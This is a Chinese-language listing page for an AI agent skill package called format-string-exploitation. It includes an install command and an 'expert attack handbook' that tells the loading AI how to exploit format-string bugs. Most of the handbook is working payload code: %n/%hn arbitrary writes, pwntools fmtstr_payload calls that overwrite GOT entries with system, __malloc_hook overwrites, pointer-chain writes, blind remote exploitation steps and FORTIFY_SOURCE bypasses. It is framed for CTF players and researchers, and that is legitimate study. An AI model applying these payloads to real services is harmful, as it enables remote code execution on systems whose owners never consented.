关于 format-string-exploitation
面向安全研究者和 CTF 参与者的格式化字符串漏洞分析与利用技能,涵盖内存泄漏、任意写入、缓解措施处理及 pwntools 自动化。
主要功能
- 01栈与内存泄漏技巧
- 02使用 %n 任意写入
- 03GOT 与 hook 覆写方法
- 04指针链利用
- 05盲测格式化字符串流程
- 06pwntools 自动化
适用场景
- 01识别格式化字符串漏洞
- 02泄漏栈、canary 或库地址
- 03构造目标地址的任意写入
- 04测试远程盲格式化字符串漏洞
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill format-string-exploitation安装后在 Claude Code 中输入/format-string-exploitation确认已加载。
详细介绍
技能:格式字符串利用——专家攻击手册
AI 加载说明:格式字符串专家技巧。涵盖栈读取、通过 %n 任意写入、GOT 覆写、__malloc_hook 覆写、指针链利用、盲格式字符串、绕过 FORTIFY_SOURCE、64 位空字节处理以及 pwntools 自动化。本手册提炼自 ctf-wiki fmtstr、CTF 常见模式和真实场景。基础模型通常会算错位置参数偏移,或忘记将 64 位地址放在格式字符串之后。
0. 相关路由
- 栈溢出与 ROP — 将格式字符串泄漏与栈溢出结合,实现完整利用
- 二进制保护绕过 — 格式字符串是泄漏 canary/PIE/ASLR 信息的主要方法
- 任意写入到 RCE — 将格式字符串写入原语转化为对代码执行目标的写入
- 堆利用 — 通过格式字符串泄漏堆地址以进行堆利用
1. 漏洞识别
易受攻击的模式
printf(user_input); // VULNERABLE: user controls format string
fprintf(fp, user_input); // VULNERABLE
sprintf(buf, user_input); // VULNERABLE
snprintf(buf, sz, user_input); // VULNERABLE
printf("%s", user_input); // SAFE: format string is fixed
快速测试
Input: AAAA%p%p%p%p%p%p%p%p
If output shows stack values (hex addresses): format string confirmed
Look for 0x4141414141414141 in output to find your input offset
2. 读取内存
栈泄漏(%p)
| 格式 | 操作 | 用途 |
|---|---|---|
%p | 将下一个栈值作为指针打印 | 顺序转储栈内容 |
%N$p | 将第 N 个参数作为指针打印 | 直接按位置访问 |
%N$lx | 与 %p 相同,但显式使用十六进制(64 位) | 可移植 |
%N$s | 将第 N 个参数解引用为字符串指针 | 读取指针值所指向的内存 |
查找输入偏移
# Send: AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
# Output: AAAAAAAA.0x7ffd12340000.0x0.(nil).0x7f1234567890.0x4141414141414141...
# ↑ offset = 6 (example)
# Or automated:
for i in range(1, 30):
io.sendline(f'AAAA%{i}$p')
if '0x41414141' in io.recvline():
print(f'Offset = {i}')
break
泄漏特定值
| 目标 | 方法 | 栈位置 |
|---|---|---|
| Canary | 使用 %N$p,其中 N = canary 相对于格式字符串的偏移 | 通常位于 buf_size/8 + 若干位置 |
| 已保存的 RBP | %N$p(位于返回地址正上方) | 泄漏栈地址 → 栈基址 |
| 返回地址 | %N$p | 泄漏 .text 地址(PIE 基址 = 泄漏值 & ~0xfff - 偏移) |
| Libc 地址 | 使用 %N$p,其中 N 指向栈上的 __libc_start_main+XX 返回地址 | libc 基址 = 泄漏值 - 偏移 |
读取任意地址(%s)
# 32-bit: place address at start of format string
payload = p32(target_addr) + b'%N$s' # N = offset where target_addr appears on stack
# 64-bit: address contains null bytes → place AFTER format specifiers
payload = b'%8$sAAAA' + p64(target_addr) # %8$s reads from offset 8 where address is
3. 写入内存(%n)
写入说明符
| 说明符 | 写入字节数 | 宽度 |
|---|---|---|
%n | 4 字节(int) | 到目前为止打印的字符数 |
%hn | 2 字节(short) | 到目前为止打印的字符数(模 0x10000) |
%hhn | 1 字节(char) | 到目前为止打印的字符数(模 0x100) |
%ln | 8 字节(long) | 到目前为止打印的字符数 |
任意写入技术
目标:将值 V 写入地址 A。
32 位(地址直接放在栈上):
# Write 2 bytes at a time using %hn
# Place target addresses in format string (they'll be on stack)
payload = p32(target_addr) # for low 2 bytes
payload += p32(target_addr + 2) # for high 2 bytes
# Calculate padding for each %hn write
low = value & 0xffff
high = (value >> 16) & 0xffff
payload += f'%{low - 8}c%{offset}$hn'.encode()
payload += f'%{(high - low) & 0xffff}c%{offset+1}$hn'.encode()
64 位(地址放在格式字符串之后):
# Addresses contain null bytes (0x00007fXXXXXXXX) which terminate string
# Solution: place addresses AFTER the format specifiers
# Step 1: format string portion (no null bytes)
fmt = b'%Xc%N$hn%Yc%M$hn'
# Step 2: pad to 8-byte alignment
fmt = fmt.ljust(align, b'A')
# Step 3: append target addresses
fmt += p64(target_addr)
fmt += p64(target_addr + 2)
使用 %hhn 逐字节写入
为确保精度,每次写入一个字节(在 64 位系统上,完整 48 位地址需要写入 6 次):
writes = {}
for i in range(6):
byte_val = (value >> (i * 8)) & 0xff
writes[target_addr + i] = byte_val
# pwntools handles the math:
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
4. PWNTOOLS fmtstr_payload()
from pwn import *
# Overwrite GOT entry with target address
payload = fmtstr_payload(
offset, # stack offset where input appears
{elf.got['printf']: libc.symbols['system']}, # {addr: value}
numbwritten=0, # bytes already output before our input
write_size='short' # 'byte', 'short', or 'int'
)
# For 64-bit with addresses after format string:
# fmtstr_payload handles this automatically
FmtStr 类(交互式利用)
from pwn import *
def send_payload(payload):
io.sendline(payload)
return io.recvline()
fmt = FmtStr(execute_fmt=send_payload)
# fmt.offset is auto-detected
fmt.write(elf.got['printf'], libc.symbols['system'])
fmt.execute_writes()
5. 通过格式字符串覆写 GOT
常见目标
| 覆写目标 | 替换为 | 触发方式 |
|---|---|---|
printf@GOT | system | 下一次调用 printf(user_input) → system(user_input),发送 /bin/sh |
strlen@GOT | system | 如果调用了 strlen(user_input) |
puts@GOT | system | 如果调用了 puts(user_input) |
atoi@GOT | system | 如果调用了 atoi(user_input)(将 sh 作为“数字”发送) |
__stack_chk_fail@GOT | 受控地址 | 完全绕过 canary 检查 |
exit@GOT | main | 创建无限循环,以便多次利用 |
Hook 目标(glibc < 2.34)
| 目标 | One-gadget | 触发方式 |
|---|---|---|
__malloc_hook | one_gadget 地址 | 对大型格式字符串调用任意 printf → 内部 malloc |
__free_hook | system | 触发 free("/bin/sh") |
6. 栈指针链利用
当格式字符串不直接位于栈上(例如,存储在堆缓冲区中,并由栈指针引用)时,可使用栈上的指针链实现任意写入。
两阶段写入
Stack:
[offset A] → ptr_X (stack address pointing to another stack address)
[offset B] → ptr_Y (target of ptr_X)
Stage 1: Use %A$hn to modify ptr_X's low bytes → ptr_X now points to target_addr
Stage 2: Use %B$n to write through the modified ptr_X → writes to target_addr
这需要在栈上找到现有的指针链(例如,保存的帧指针形成的链:rbp → prev_rbp → prev_prev_rbp)。
查找指针链
# Leak stack with %p, look for:
# 1. Stack address A at offset N that points to another stack address B
# 2. Stack address B at offset M
# Modify value at A (using %N$hn) to change where B points
# Then write through B (using %M$hn) to target
7. 盲打格式字符串
远程服务,没有二进制文件,也没有源代码——盲打格式字符串漏洞利用。
方法
| 步骤 | 操作 | 目的 |
|---|---|---|
| 1 | 发送 %p × 50 | 转储栈,识别地址模式 |
| 2 | 识别偏移量 | 找到 libc 地址(0x7f...)、栈地址(0x7ff...)和代码地址 |
| 3 | 找到输入偏移量 | 发送 AAAA%N$p,其中 N=1..50,找到 0x41414141 |
| 4 | 识别二进制文件基址 | 代码地址可揭示 PIE 基址(如果没有 PIE,则为固定基址) |
| 5 | 泄露 GOT 条目 | 如果已知二进制文件基址,则使用带 GOT 地址的 %N$s 读取 GOT |
| 6 | 计算 libc 基址 | GOT 值 - libc 符号偏移量 |
| 7 | 覆写 GOT | 使用 %n 将 GOT 条目重写为 system 地址 |
8. FORTIFY_SOURCE 绕过
FORTIFY_SOURCE(gcc -D_FORTIFY_SOURCE=2)会将 printf 替换为 __printf_chk,后者禁止 %N$n(位置写入)。
绕过技术
| 方法 | 详情 |
|---|---|
依次使用 %hn(不使用位置参数) | 输出精确的字节数,执行 %hn,调整后再执行 %hn——不可靠,但可行 |
| 基于栈的漏洞利用 | 如果格式字符串位于栈上,则通过控制栈位置,使用非位置参数的 %n |
| 改用堆溢出 | FORTIFY 不保护堆——可结合堆漏洞使用 |
| 返回到 printf | 使用 ROP 调用未强化的 printf(如果二进制文件或 libc 中存在) |
9. 64 位注意事项
| 挑战 | 解决方案 |
|---|---|
地址中包含 \x00(空字节会终止格式字符串) | 将地址放在格式说明符之后,并填充至对齐 |
| 地址宽度:6 个有效字节 | 使用 3 × %hn(每次写入 2 个字节)或 6 × %hhn |
| 栈偏移范围更大 | 由于保存了 6 个寄存器参数,输入偏移量可能从 6+ 开始 |
| 48 位地址空间 | 64 位地址中只有低 48 位会被使用 |
布局模板(64 位)
[format_string_specifiers][padding_to_8byte_align][addr1][addr2][addr3]...
← no null bytes here → ← null bytes OK (after fmt) →
10. 决策树
Format string vulnerability confirmed (printf(user_input))
├── FORTIFY_SOURCE enabled? (__printf_chk)
│ ├── YES → positional %n blocked
│ │ ├── Sequential %n possible? → non-positional write
│ │ └── Combine with another primitive (heap, ROP)
│ └── NO → full positional %n available
├── What do you need first?
│ ├── Leak canary → %N$p at canary stack offset
│ ├── Leak PIE base → %N$p at return address offset → base = leak - known_offset
│ ├── Leak libc base → %N$p at __libc_start_main return on stack
│ ├── Leak heap base → %N$p at heap pointer on stack
│ └── Leak specific address → %N$s with target address on stack
├── Architecture?
│ ├── 32-bit → addresses at start of format string
│ └── 64-bit → addresses after format string (null byte issue)
├── Write target?
│ ├── Partial RELRO → GOT overwrite (printf→system, atoi→system)
│ ├── Full RELRO → __malloc_hook or __free_hook (pre-2.34)
│ ├── Full RELRO + glibc ≥ 2.34 → target _IO_FILE, exit_funcs, TLS_dtor_list
│ └── Stack return address → direct overwrite (if ASLR bypassed)
├── Single-shot or multi-shot?
│ ├── Loop (multi-shot) → overwrite GOT entry incrementally, use pointer chains
│ └── One-shot → fmtstr_payload() with all writes in single payload
└── Input not on stack? (heap buffer)
└── Use stack pointer chains for indirect writes
评论
支持 Markdown